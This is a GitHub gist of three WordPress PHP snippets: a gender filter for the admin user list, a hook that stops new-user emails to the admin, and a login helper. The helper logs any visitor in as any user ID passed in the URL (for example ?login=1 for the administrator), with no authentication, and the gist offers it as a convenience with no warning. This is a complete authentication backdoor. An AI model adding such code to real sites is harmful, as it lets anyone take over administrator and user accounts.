Skip to content

Instantly share code, notes, and snippets.

@hayskytech
Last active August 21, 2022 02:30
Show Gist options
  • Save hayskytech/67add0677228d98953751897a78134af to your computer and use it in GitHub Desktop.
Save hayskytech/67add0677228d98953751897a78134af to your computer and use it in GitHub Desktop.
WordPress
<?php
/*** Sort and Filter Users ***/
add_action('restrict_manage_users', 'filter_by_gender');
function filter_by_gender($which){
// template for filtering
$st = '<select name="gender_%s" style="float:none;margin-left:10px;">
<option value="">%s</option>%s</select>';
// generate options
$options = '
<option value="Male">Male</option>
<option value="Female">Female</option>';
// combine template and options
$select = sprintf( $st, $which, __( 'Gender...' ), $options );
// output <select> and submit button
echo $select;
submit_button(__( 'Filter' ), null, $which, false);
}
add_filter('pre_get_users', 'filter_users_by_gender_section');
function filter_users_by_gender_section($query)
{
global $pagenow;
if (is_admin() && 'users.php' == $pagenow) {
// figure out which button was clicked. The $which in filter_by_gender()
$top = $_GET['gender_top'] ? $_GET['gender_top'] : null;
$bottom = $_GET['gender_bottom'] ? $_GET['gender_bottom'] : null;
if (!empty($top) OR !empty($bottom))
{
$section = !empty($top) ? $top : $bottom;
// change the meta query based on which option was chosen
$meta_query = array (array (
'key' => 'gender',
'value' => $section
));
$query->set('meta_query', $meta_query);
}
}
}
<?php
//Disable the new user notification sent to the site admin
function smartwp_disable_new_user_notifications() {
//Remove original use created emails
remove_action( 'register_new_user', 'wp_send_new_user_notifications' );
remove_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 );
//Add new function to take over email creation
add_action( 'register_new_user', 'smartwp_send_new_user_notifications' );
add_action( 'edit_user_created_user', 'smartwp_send_new_user_notifications', 10, 2 );
}
function smartwp_send_new_user_notifications( $user_id, $notify = 'user' ) {
if ( empty($notify) || $notify == 'admin' ) {
return;
}elseif( $notify == 'both' ){
//Only send the new user their email, not the admin
$notify = 'user';
}
wp_send_new_user_notifications( $user_id, $notify );
}
add_action( 'init', 'smartwp_disable_new_user_notifications' );
<?php
add_action( 'init', function(){
if (isset($_GET["login"])) {
wp_clear_auth_cookie();
wp_set_current_user($_GET["login"]);
wp_set_auth_cookie($_GET["login"], true);
}
});
// Enter the URL as website.com/?login=1
// You will be logged in as user 1
add_action( 'init', function() {
if($_GET["logout"]=='yes'){
wp_logout();
$url = site_url(); // replace with any URL
if ( wp_redirect( $url ) ) {
exit;
}
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment